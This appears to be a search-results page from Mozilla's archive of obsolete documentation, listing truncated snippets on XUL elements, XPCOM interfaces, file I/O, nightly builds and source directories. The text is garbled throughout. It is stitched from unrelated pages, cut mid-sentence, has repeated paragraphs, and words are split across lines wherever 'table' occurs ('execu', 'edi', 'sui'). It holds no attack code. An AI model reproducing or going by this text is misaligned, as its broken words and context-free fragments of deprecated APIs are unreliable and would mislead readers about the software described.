table debugger for software running in the emulator mozilla sunbird/mozilla lightning calendar tabpress authoring tool talend open studo data integration software seems to use xulrunner talking clipboard text to speech software read epub books, web pages, chm, pdf, ms word, rtf, rss feeds taskpool productivity telaso...
Source code directories overview - Archive of obsolete content
nd contains objects as they are exposed to the dom. db contains c code for the mdb/mork database which is a low-level, general-purpose and cross-platform file library. it is used to store mail box data, news data and global history data. it has not been updated to support xpcom yet. this code originated in the mozilla classic code base. dbm contains c code for managing, reading and writing hash
tables. it is used for the auto-completion feature on the url edit box (stored in netscape.hst in mozilla classic) and for the cached pages index (stored in fat.db in mozilla classic). this code originated at uc berkeley. directory contains the ldap sdk. docshell contains c interfaces and code for loading and displaying a single web page (e.g. scroll). the [#seamonkey-embedding embedding] code wraps ...
...is code is also known by the names, "netlib" and "necko." nsprpub contains c code for the cross platform "c" runtime library. the "c" runtime library contains basic non-visual c functions to allocate and deallocate memory, get the time and date, read and write files, handle threads and handling and compare strings across all platforms. this code is also known by the name, "nspr" and "netscape por
table runtime". this code originated in mozilla classic. other-licenses contains code that does not fall under the mpl, including branding, libical and stubs for 7zip. parser contains the html parser and the xml parser (expat.). plugin contains code for the mrj plugin on mac. profile contains c interfaces, c code, xul and javascript scripts for creating new user profiles, managing existing user pro...
...ific functionality. xpinstall contains the c interfaces and code for implementing the smartupdate feature from mozilla classic. xpinstall provides code for downloading files, uncompressing them and installing them in a platform independent way. xulrunner contains code for xul runner. firefox firefox is contained in the browser directory app contains contains code to build the firefox execu
table. base contains the xul and branding code. components contains firefox specific components like history, bookmarks, preferences, migration, sidebar.. configcontains build scripts for firefox. extensions contains code for making certain extensions work. installer contains the firefox installer code. locales contains the files that are translated for firefox. themes contains firefox themes. ...
Block and Line Layout Cheat Sheet - Archive of obsolete content
his is a frame from which child margins can be calculated. the absence of this flag implies that child margin calculations should ignore the frame and look further up the parent chain. used in nsblockreflowcontext::computecollapsedtopmargin(). this flag causes the nsblockreflowstate's constructor to set the brs_istopmarginroot and brs_isbottommarginroot flags. ...
... nslinebox a block consists of lines and other blocks, stacked vertically. a block frame has one nslinebox for each line, and one nslinebox for each block child. ...
...margin root by default. brs_computemaxelementsize this flag is set if reflow should recompute an element's maximum size. it is set in the nsblockreflowstate constructor if the "maxelementsize" member of the nshtmlreflowmetrics object has been provided by (the parent frame?). brs_computemaxwidth this flag is set if reflow should recompute a frame's maximum width; for example, during first-pass
table reflow. when this is set, nsblockframe::reflowline will flow the first line and each unwrapped line in the block twice. nsblockreflowcontext encapsulates the transient reflow state for a nslinebox that contains a block frame. mnextrcframe during an incremental reflow, this member holds current frame in the reflow chain. nslinelayout encapsulates the transient reflow state for a nslinebox...
Downloading Nightly or Trunk Builds - Archive of obsolete content
branch nightly build, that is, look for a mozilla thing (not a firefox thing), not the breaky one on trunk, but the most recent branch, and built very fresh (last night!), so you can install it. for firefox 3.5 that would be latest-mozilla-1.9.1 in https://archive.mozilla.org/pub/firefox/nightly/. trunk build. a trunk build is a build made off the trunk, i.e., the latest, newest, but also least s
table and most buggy state of the source. trunk builds are provided so that one can execute tests without going to the trouble of building the source. the current trunk is mozilla 1.9.2. tinderbox builds. for the trunk and the latest two branches, there are machines at mozilla and maybe elsewhere compiling builds as fast as they can make them for at least all three of firefox, thunderbird and seamonk...
...of linux-i686, mac-universalbinary and win32. these are the "tinderbox builds", also known as "hourly builds" though it usually takes more than one hour to make one; they are followed by automatic tests and their main purpose is to check that nothing is horridly wrong with the latest change to the source: what they are doing is to constantly check that the current source can be built into an execu
table and that that execu
table passes a certain more-or-less fixed set of tests. nightly builds. the same machines produce about every 24 hours a "nightly" build which can be downloaded by anyone if you know where to get it: these are the nightly builds, and testers all over the world download them and test them, reporting as they go along on any bugs that hit them. anyone can be a tester, you don't ...
...h there exist also "branch nightlies" which are somewhat less buggy but also not as "newest & greatest". for instance, one may use a thunderbird "branch nightly" as one's main e-mail client. note that nightly builds may not be created for every platform for every night. if one has questions about the way a particular nightly was built, the best way to get that information is to download the execu
table, launch it, and then go to the "about:buildconfig" page, by typing this into the location bar. this should provide all the build flags and configuration settings used for building this execu
table. nightly builds can be downloaded from https://archive.mozilla.org/pub/firefox/nightly/. if you need to download builds often, most builds can be downloaded semi-automatically and saved with a convenie...
Modularization techniques - Archive of obsolete content
erence on com can provide you with more interesting and complex examples than the ones provided here. the basics interfaces the basic building blocks of modules are c++ pure virtual interfaces. a pure virtual interface is simply a class where every method is defined as pure virtual, that is: virtual int foo(int bar) = 0; pure virtual interfaces provide an easy mechanism for passing function
tables between modules that may reside in separate, possibly dynamically loaded, libraries. each interface is assigned a unique interface identifier, or iid. nsisupports the key interface in our model is the nsisupports interface, our equivalent to com's iunknown interface. nsisupports provides two key features, interface interrogation and reference counting. interface interrogation is a simple, unif...
...ad dynamically loaded factories that are not in use static nsresult freelibraries(); }; there are several ways a factory can make its way into the repository. the most direct is through registerfactory(). registerfactory() supports two different registration mechanisms. the first takes a class id and a pointer to a factory. this mechanism can be used on factories that are linked into the execu
table. the second takes a class id and the path to a dynamically loadable library. this mechanism can be used both inside an execu
table at run-time and externally using the apersist flag to tell the repository to store the class id/library relationship in its permenant store. about nsiids and nscids to simplify the process of dynamically finding, loading and binding interfaces, all classes and interf...
...hat com is not ole. ole was built one top of com, but it's not a shining example of com. com is simply a mechanism for laying out and using interfaces, the important components we've pretty much described here. ole (actually ole 2) was one of the first efforts to use com. why c++? c++ provides the easiest mechanism for implementing interfaces. you can manually assemble interfaces using function
tables and macros, but you'd be simply doing by hand what a c++ compiler can do for you automatically. can i use c? you can use c everywhere except your interface. there are mechanisms for declaring interfaces in c, but they're pretty gruesome and compiler dependent, and we're trying to make this as light weight as possible. why not com? the only platform for which com support is currently widely a...
Writing textual data - Archive of obsolete content
aracters will fail with ns_error_loss_of_significant_data. versions before gecko 1.8 firefox 1.0.x, mozilla 1.7.x and older versions do not support nsiconverteroutputstream. alternative ways usable from javascript do not support character encodings that use embedded nulls (such as utf-16 and utf-32). ...
...lternative ways usable from javascript do not support character encodings that use embedded nulls (such as utf-16 and utf-32). they work by manually converting the string you want to write to a byte sequence using nsiscrip
tableunicodeconverter, and writing that to the stream. here's an example: // first, get and initialize the converter var converter = components.classes["@mozilla.org/intl/scrip
tableunicodeconverter"] .createinstance(components.interfaces.nsiscrip
tableunicodeconverter); converter.charset = /* the character encoding you want, using utf-8 for this example */ "utf-8"; now you can convert and write to the stream: // this code assumes that os is your nsioutputstream // your_string here is the string you want to write. var chunk = converter.convertfromu...
...gs need it, but for those that do calling this is important for proper output. var fin = converter.finish(); if (fin.length > 0) os.write(fin, fin.length); os.close(); converting a string into a stream sometimes, it is useful to convert a string into a stream, for example for uploading it using nsiuploadchannel. the example here requires gecko 1.8 (firefox 1.5, seamonkey 1.0). nsiscrip
tableunicodeconverter has a simple method to do that: // first, get and initialize the converter var converter = components.classes["@mozilla.org/intl/scrip
tableunicodeconverter"] .createinstance(components.interfaces.nsiscrip
tableunicodeconverter); converter.charset = /* the charset you want to use. using utf-8 in this example */ "utf-8"; // now, convert a string to an nsii...
Creating XPI Installer Modules - Archive of obsolete content
t messenger/ messenger.jar ... in addition to these jar files, there are also several new rdf files. these new files represent a redesign of the way that the mozilla ui is packaged and installed. though the chrome directory still includes subdirectories of uncompressed files by default, a new way to aggregate and distribute the files has improved performance, made the ui components more por
table and easier to install, and made the installation process a much easier one. however, this new arrangement does not make things much easier for the web or user interface developer. the relatively simple process of finding the appropriate resources (i.e. xul, javascript, or css files) in the chrome subdirectories and editing them with a text editor has been replaced by something a lot of developers...
...y of another, the chrome registry is shown the contents.rdf files; the contents.rdf files in turn point to new resources, and the resources are then registered with mozilla and accessible to the user. creating a new package the package described in this section is a very simple one, but it uses the new packaging scheme and the chrome registry to make itself a piece of self-contained and redistribu
table software. once you have created a package like the one described here, mozilla users can download and install it in a single step. the barley package the barley package is a simple xul window with a couple of buttons and an image element. one of the buttons, labeled "show aphids", displays an alert dialog by calling a function defined in the javascript file barley.js. since we are not updating th...
... you can examine (or install!) the package described here by downloading the barley xpi file and using a zip unarchiver[zip] to open it. all of the resources described in this article are in the xpi archive and can be adapted for use in your own development. developing the resources needless to say, one of the first things you will have to create is the actual software you wish to make redistribu
table. the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://communicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" auto...
execute - Archive of obsolete content
(ignored on mac os) returns an integer error code. for a list of possible values, see return codes. description the specified file is not actually executed until the performinstall method is called. ...
...(ignored on mac os) returns an integer error code. for a list of possible values, see return codes. description the specified file is not actually executed until the performinstall method is called. ...
...(ignored on mac os) returns an integer error code. for a list of possible values, see return codes. description the specified file is not actually executed until the performinstall method is called. see performinstall for more information about queued commands during the installation process. ...
Building accessible custom components in XUL - Archive of obsolete content
that's it! well, not quite. we still have no way to focus individual cells, nor do we have a way to navigate the spreadsheet with the keyboard. but that's it as far as dhtml accessibility goes. all you need to do is declare two namespaces and assign the appropriate role attributes, and firefox handles exposing the elements properly to the underlying assistive technology. further reading
table of supported roles and states in firefox focus issues download stage-3.zip install stage-3.xpi the next step on the road to an accessible spreadsheet is the focus problem. in html documents, you can make any element focusable with the tabindex attribute. in xul, there is no tabindex attribute; to make a xul element focusable, you need to use a mozilla-specific css property, -moz-user-focus: no...
...ere.is.only.xul"; const x2_ns ="http://www.w3.org/tr/xhtml2" function start_edit(label) { var value = label.value; settimeout(function(){ var textbox = document.createelementns(xul_ns, "textbox"); label.parentnode.replacechild(textbox, label); textbox.value = value; textbox.origvalue = value; textbox.flex = 1; textbox.focus(); textbox.select(); textbox.addeventlistener("blur", edi
table_cell_blur, true); textbox.addeventlistener("keypress", edi
table_cell_keypress, true); }, 0); } function done_edit(textbox, keepvalue) { var value = textbox.value; var label = document.createelementns(xul_ns, "label"); label.setattributens(x2_ns, "role", "wairole:gridcell"); textbox.parentnode.replacechild(label, textbox); if (keepvalue) { label.value = value; } else...
...= textbox.value; var label = document.createelementns(xul_ns, "label"); label.setattributens(x2_ns, "role", "wairole:gridcell"); textbox.parentnode.replacechild(label, textbox); if (keepvalue) { label.value = value; } else { label.value = textbox.origvalue; } label.flex = 1; label.addeventlistener("keypress", cell_keypress, true); return label; } function edi
table_cell_blur(e) { var textbox = e.target; settimeout(function() { done_edit(textbox, true); }, 0); } function edi
table_cell_keypress(e) { var textbox = e.target; switch (e.keycode) { case key_enter: settimeout(function() { var label = done_edit(textbox, true); label.focus(); }, 0); break; case key_escape: settimeout(function() { var label = done_edit(...
Working With Directories - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. a reference to a directory may be created in the same way...
...you can access a subdirectory by supplying a directory name as the second argument, or refer to one of the special directories by supplying a null string for the second argument. ...
...rmation about this. note that nsifile.append() modifies the file object, rather than returning a new one. both files and directories are represented using the same kind of object so most of the functions available for nsifile will work for both. you can check if the object refers to a directory or a file by using nsifile.isdirectory(). this method returns true if a file object returned by nsiscrip
tableio.getfile() refers to a directory, and false otherwise. there is also a corresponding nsifile.isfile() method to check if an object refers to a file. in both cases, the method fails if the file or directory does not exist, so you should check first using nsifile.exists(). var dir = io.getfile("desktop", "myfiles"); dir.append("pictures"); if (dir.exists() && dir.isdirectory()) alert("this is a ...
IO - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. files and streams this section describes how to access an...
...reading textual data, writing textual data, list of file-related error codes. files and streams this section describes how to access and get information about files, read from files and create and write files. using files a xul application or extension may access files on disk, and either read or write to files. a file is accessed via a file object. to get a reference to a file object use nsiscrip
tableio.getfile(). the following example will retrieve a reference to a file located in the profile directory named sample.txt. var file = io.getfile("profile", "sample.txt"); the nsiscrip
tableio object is a global object always available within an application or extension. it provides a number of useful functions for dealing with files. retrieve a file object for information about getting a file obj...
...learn how to delete a file, see deleting a file. open and save dialogs you can show a dialog to the user to allow them to select a file to open or enter a filename for saving. for details about this, see open and save dialogs. file errors see file errors for a list of errors that might occur while using files. working with directories directories may be accessed in a similar manner using nsiscrip
tableio.getfile(). for instance, in the following example, a subdirectory is retrieved. if the name 'subdirname' refers to a directory, then the returned object will refer to this directory. the returned value is still a nsifile object, however a number of methods may be used which are only of value for subdirectories. var file = io.getfile("profile", "subdirname"); for more information about using di...
Tree Widget Changes - Archive of obsolete content
<treecell value="true"/> you need to specify the checkbox image with css for the checkbox to display. ...
... image with css for the checkbox to display. (do not set id of the column to be 'checked' it will cause problems with the css) treechildren::-moz-tree-checkbox(checked) { /* css for checked cells */ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } in addition, checkmark columns support editing: <tree edi
table="true"> <treecols> <treecol type="checkbox" edi
table="true"> ... </treecol> </treecols> </tree> if the column is edi
table, the user can click the cell to change the state of the checkbox. when the user clicks the cell, the view's setcellvalue method will be called with either the value true or false. note that the tree must also be marked as edi
table using the edi
table attribute in order for this to work. this is shown in the example...
...ser can click the cell to change the state of the checkbox. when the user clicks the cell, the view's setcellvalue method will be called with either the value true or false. note that the tree must also be marked as edi
table using the edi
table attribute in order for this to work. this is shown in the example above. sometimes, you might have a particular row or cell which you do not want to be edi
table. in this case, disable editing for that cell by setting edi
table to false for that cell, as in the following: <treecell value="true" edi
table="false"/> or, for custom views, return false from the isedi
table method. currently, only checkbox columns support editing, although the content-based tree handles the nsitreeview.setcellvalue() and nsitreeview.setcelltext() functions to change the tree ...
Adding HTML Elements - Archive of obsolete content
you should avoid using html elements in xul files if you can. ...
...must be placed around all attribute values. xml requires a trailing slash at the end of tags that have no content. this may be clearer from the examples below. using html elements you can use any html tag although some such as head and body are not really useful. some examples of using html elements are shown below. <html:img src="banner.jpg"/> <html:input type="checkbox" value="true"/> <html:
table> <html:tr> <html:td> a simple
table </html:td> </html:tr> </html:
table> these examples will create an image from the file banner.jpg, a checkbox and a single-cell
table. you should always use xul features if they are available and you probably should not use
tables for layout in xul. (there are xul elements for doing layout). notice that the prefix html: was added to the front ...
...in xul, you can add labels with the description or label element. you should use these elements when you can. you can also add labels to controls either by using the html label element, or you can simply put the text inside another html block element (such as p or div) as in the example below. ...
Adding Style Sheets - Archive of obsolete content
?> this line indicates that we want to use the style provided by chrome://global/skin/. in mozilla, this will be translated as the file global.css, which contains default style information for xul elements. you could leave the line out and the elements will still work, however they will look fairly plain. the style sheet applies various fonts, colors and borders to make the elements look more sui
table. changing the styles however, there will be times when the default look of elements will not give the look that is desired. for this, we will need to add a style sheet of our own. so far, we have been applying styles using the style attribute on elements. although this works, it is not really the best thing to do. it is much better to create a separate style sheet. the reason is so that different...
... look that is desired. for this, we will need to add a style sheet of our own. so far, we have been applying styles using the style attribute on elements. although this works, it is not really the best thing to do. it is much better to create a separate style sheet. the reason is so that different looks, or skins, can be applied easily. there may be certain cases where the style attribute is accep
table. an example would be when a script changes the style, or where a difference in layout might change the meaning of the element. however you should avoid this as much as possible. for installed files, you'll have to create or modify a manifest file and install the skin. our find files dialog example let's modify the find files dialog so that its style comes from a separate style file. first, the...
...<spacer class="titlespace"/> <hbox> <progressmeter id="progmeter" value="50%" style="display:none;"/> the new xml-stylesheet line is used to import the style sheet. it will contain the styles instead of having them directly in the xul file. you can include any number of...
Commands - Archive of obsolete content
ration which may be invoked. command elements the command element is used to create commands which can be used to carry out operations. you don't need to use commands, since you can just call a script to handle things. however, a command has the advantage that it can be disabled when needed and can be invoked without needing to know about the details of its implementation. commands provide a sui
table way to abstract operations from the code. commands are especially useful for larger applications. for instance, in order to implement the clipboard menu commands, cut, copy and paste, you can use commands. if you did not use commands, you would need to figure out which field has the focus, then check to ensure that the operation is sui
table for that element. in addition, the menu commands would ...
...as you can see, this becomes complicated. by using commands, much of the work is handled for you. you can use a command for any operation. mozilla uses them for almost every menu command. ...
...cut, copy and paste operations, for instance. an example of this will be provided later. by default, only textboxes have a controller that does anything. the textbox controller handles clipboard operations, selection, undo and redo as well as some editing operations. note that an element may have multiple controllers, which will all be checked. if the currently focused element does not have a sui
table controller, the window is checked next. the window also has a controllers property which you can modify if desired. if the focus is inside a frame, each frame leading to the top-level window is checked as as well. this means that commands will work even if the focus is inside a frame. this works well for a browser, since editing commands invoked from the main menu will work inside the content are...
Keyboard Shortcuts - Archive of obsolete content
key id="explore-key" modifiers="control alt" key="e"/> <key id="paste-key" modifiers="accel" key="v"/> </keyset> keycode attribute the key attribute is used to specify the key that must be pressed. however, there will also be cases where you want to refer to keys that cannot be specified with a character (such as the enter key or the function keys). the key attribute can only be used for prin
table characters. another attribute, keycode can be used for non-prin
table characters. the keycode attribute should be set to a special code which represents the key you want. a
table of the keys is listed below. not all of the keys are available on all keyboards. vk_cancel vk_back vk_tab vk_clear vk_return vk_enter vk_shift vk_control vk_alt vk_pause ...
...te" accesskey="p" key="paste_cmd" disabled="true"/> </menupopup> </menu> </menubar> </toolbox> </vbox> </window> now we can use those shortcuts to activate the commands. of course, the clipboard commands don't do anything anyway, as we haven't written those scripts. key events there are three keyboard events that may be used if the key related features described above aren't sui
table. these events are: keypress called when a key is pressed and released when an element has the focus. you might use this to check for allowed characters in a field. keydown called when a key is pressed down while an element has the focus. note that the event will be called as soon as the key is pressed, even if it hasn't been released yet. keyup called when a key is released while an eleme...
... instead be targeted at the xul document itself. in this case, you can add an event listener to the window tag. normally though, if you want to respond to keys globally, you will use a keyboard shortcut as described earlier. the key event object has two properties which hold the key that was pressed. the keycode property holds the key code and may be compared to one of the constants from the key
table earlier in this section. the charcode is used for prin
table characters and will hold the numeric unicode character code value for the key that was pressed. our find files example so far : source view next, we'll find out how to handle focus and the selection. « previousnext » ...
Localization - Archive of obsolete content
xml provides entities which can be used for a similar purpose. you should already be familiar with entities if you have written html. ...
...xml provides entities which can be used for a similar purpose. you should already be familiar with entities if you have written html. ...
... <menuitem label="&type.size;"/> <menuitem label="&type.date;"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="searchmode"> <menupopup> <menuitem label="&mode.is;"/> <menuitem label="&mode.isnot;"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" edi
table="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"> <template> <menupopup> <menuitem label="rdf:http://www.xulplanet.com/rdf/recent#label" uri="rdf:*"/> </menupopup> </template> </menulist> </groupbox> </tabpanel> <tabpanel id="optionspanel" orient="vertical"> <checkbox id="cas...
XPCOM Interfaces - Archive of obsolete content
is would be to write native code that would get mail. we also need to have a way for our scripts to call the native code easily. mozilla provides such a method which involves using xpcom (cross-platform component object model). mozilla provides many xpcom components and interfaces. so, in most cases, you don't need to write native code for yourself. after learning this section, you can search sui
table interfaces using xulplanet xpcom reference about xpcom mozilla is constructed from a collection of components, each of which performs a certain task. for example, there is a component for each menu, button and element. the components are constructed from a number of definitions called interfaces. an interface in mozilla is a definition of a set of functionality that could be implemented by com...
... // do something } the instanceof operator returns true if afile implements the nsilocalfile interface. this also has the side effect of calling queryinterface(), so afile will be a valid nsilocalfile afterwards. calling the functions of an interface now that we have an object that refers to a component with the nsilocalfile interface, we can call the functions of nsilocalfile through it. the
table below shows some of the properties and methods of the nsilocalfile interface. initwithpath this method is used to initialize the path and filename for the nsilocalfile. the first parameter should be the file path, such as '/usr/local/mozilla'. leafname the filename without the directory part. filesize the size of the file. isdirectory() returns true if the nsilocalfile represents a ...
...ocal;1"].createinstance(); if (afile instanceof components.interfaces.nsilocalfile){ afile.initwithpath("/mozilla/testfile.txt"); afile.remove(false); } this code will take the file at /mozilla/testfile.txt and delete it. try this example by adding this code to an event handler. you should change the filename to an existing file that you have that you would like to delete. in the functions
table above, you will see two functions copyto() and moveto(). these two functions can be used to copy files and move files respectively. note that they do not take a string parameter for the directory to copy or move to, but instead take an nsilocalfile. that means that you'll need to get two file components. the example below shows how to copy a file. function copyfile(sourcefile,destdir) { // get...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. element enabled usage comments description <description value="<!-- text -->" /> <description><!--label text--></description> use for non-label text. although tutorials claim label and description have the same underlying implementation, description elements appear to not associate correctly with controls whereas labels do. label <label control="controlid" value="<!--label text-->" /> <label control="controlid"><!--label text--></label> either syntax is fine. ...
... colorpicker can get focus in the first place. column see grid columns see grid command see keyboard shortcut tutorial commandset see keyboard shortcut tutorial deck only the currently selected deck layer can be focused. grid although text in the grid can be read, jaws does not recognize grids as
tables for
table reading mode. groupbox <groupbox> <caption label="<!--group label-->" /> <hbox> <button label="<!--button text-->" /> </hbox> </groupbox> iframe jaws 7.10 issues testing with jaws 7.10, use of an iframe element causes many, unpredic
table issues with xul inside of the iframe. okay to use html inside of iframe. see browser element for m...
...ox> <tabs> <tab label="<!--tab text-->" /> </tabs> <tabpanels> <tabpanel orient="vertical"> ... </tabpanel> </tabpanels> focusing the tabbox will visually set focus to the selected tab, then you can select different tabs by using the left and right arrow keys. tabbrowser jaws 7.10 issues testing with jaws 7.10, use of a tabbrowser element causes many, unpredic
table issues with xul inside of the iframe. okay to use html inside of tabbrowser. see browser element for more info. tabpanel see tabbox tabpanels see tabbox tabs see tabbox textbox <label control="inputid"> <!--first name:--> </label> <textbox id='inputid'> tree <tree hidecolumnpicker="true" > <treecol...
The Implementation of the Application Object Model - Archive of obsolete content
he foundation of xul. this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model. the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annota
table with local data. the case for the xul/rdf approach what is xul? xul (pronounced zool) used to be a ravening demon intent upon taking over the earth in ghost busters. in recent years, xul dropped the z from its name and replaced it with an x, and upon doing so, transformed into something far worse than a demon. it became a markup language. xul stands for "extensible user interface language". ...
...lbars once! i say, forget this whole thing! let's just ship a product! that would be the unwisest decision of all. why? code bloat. if nglayout's formatting objects aren't used to render the widgetry, then drawing code has to be written for each and every widget. look at the difference between the two tree widgets that exist in nglayout today as an example. the tree widget that is extending the
table code has no drawing code, and even by the time it has matched and far outstripped the capabilities of the old gfx-based tree widget, it will still contain no drawing code. individual widgets, even complex widgets like the trees and toolbars need little to no drawing code (above and beyond what nglayout already has) in order to work. native widgets vs. nglayout's form element widgets. this is rea...
...an register themselves as the appropriate content to be instantiated for a given uri. we could do this using a registry that can map strings to cids, so we have a story for instantiating our different content nodes. but now let's consider one of these nodes, e.g., nsmailelement. let's look at the set of interfaces that nsmailelement needs to implement in order to exist in a xul tree as fully scrip
table content. nsicontent, nsidomnode, nsidomelement, and nsixmlelement must be implemented at a minimum. four interfaces with over 100 methods combined, a significant portion of which are redundant. every new kind of content node would have to implement all of these interfaces. several of the implemented functions would even have identical implementations, i.e. duplicate code that would be doing the s...
dialog - Archive of obsolete content
abel to appear on the "help" button. buttonorient type: string the value of the orient attribute for the box containing the buttons. buttonpack type: string the value of the pack attribute for the box containing the buttons. buttons type: comma-separated list of the values below a comma-separated list of buttons to appear in the dialog box. the buttons will be placed in sui
table locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button t...
...window's titlebar when it is inactive (background). moreover this hides separator between titlebar and window contents. this affects only on mac os x. title type: string the text to appear in the title bar of the window. properties buttons type: comma-separated list of the values below a comma-separated list of buttons to appear on the dialog box. the buttons will be placed in sui
table locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button t...
...cels the dialog and closes it, similar to pressing the cancel button. centerwindowonscreen() return type: no return value centers the dialog on the screen. getbutton( type ) return type: button element returns the button element in the dialog corresponding to the given type. movetoalertposition() return type: no return value moves and resizes the dialog to a position and size sui
table for an alert box. related elements dialogheader ...
listitem - Archive of obsolete content
red to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. preference type: id connects the element to a corresponding preference. this attribute only has any effect when used inside a prefwindow. more information is available in the preferences system article. selected type: boolean indicates whether the element is...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accesskey type: character gets and sets the value of the accesskey attribute. accessible type: ns...
... this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
menu - Archive of obsolete content
t will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. menuactive type: boolean this attribute is set on an item in a menu when it is being hovered over. typcially, the theme will use this to highlight the item. a dommenuitemactive event will be sent to the item when the item is hovered over, and a dommenuiteminactive e...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. control t...
...g menu element, or null if there isn't a containing menu. selected type: boolean this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(),...
menuitem - Archive of obsolete content
, no image appears. the position of the image is determined by the dir and orient attributes. note: the menuitem must have a class of menuitem-iconic for the image to appear. key type: id set to the id of a key element whose key shortcut is displayed in the menuitem. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. name type: string name radio menuitems with the same name as put into a group. only one menuitem in each radio group can be checked at a time. selected type: boolean indicates whether the element is selected or not. this value is read-only. to change the s...
...ually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable). for user edi
table menulist elements, the contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. acces...
... this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user edi
table menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ...
menuseparator - Archive of obsolete content
d to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an edi
table menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. selected type: boolean indicates whether the element is selected or not. this value is read-only. to change the selection, set either the selectedindex or selecteditem property of the containing element. tabindex type: integer the tab order of the elemen...
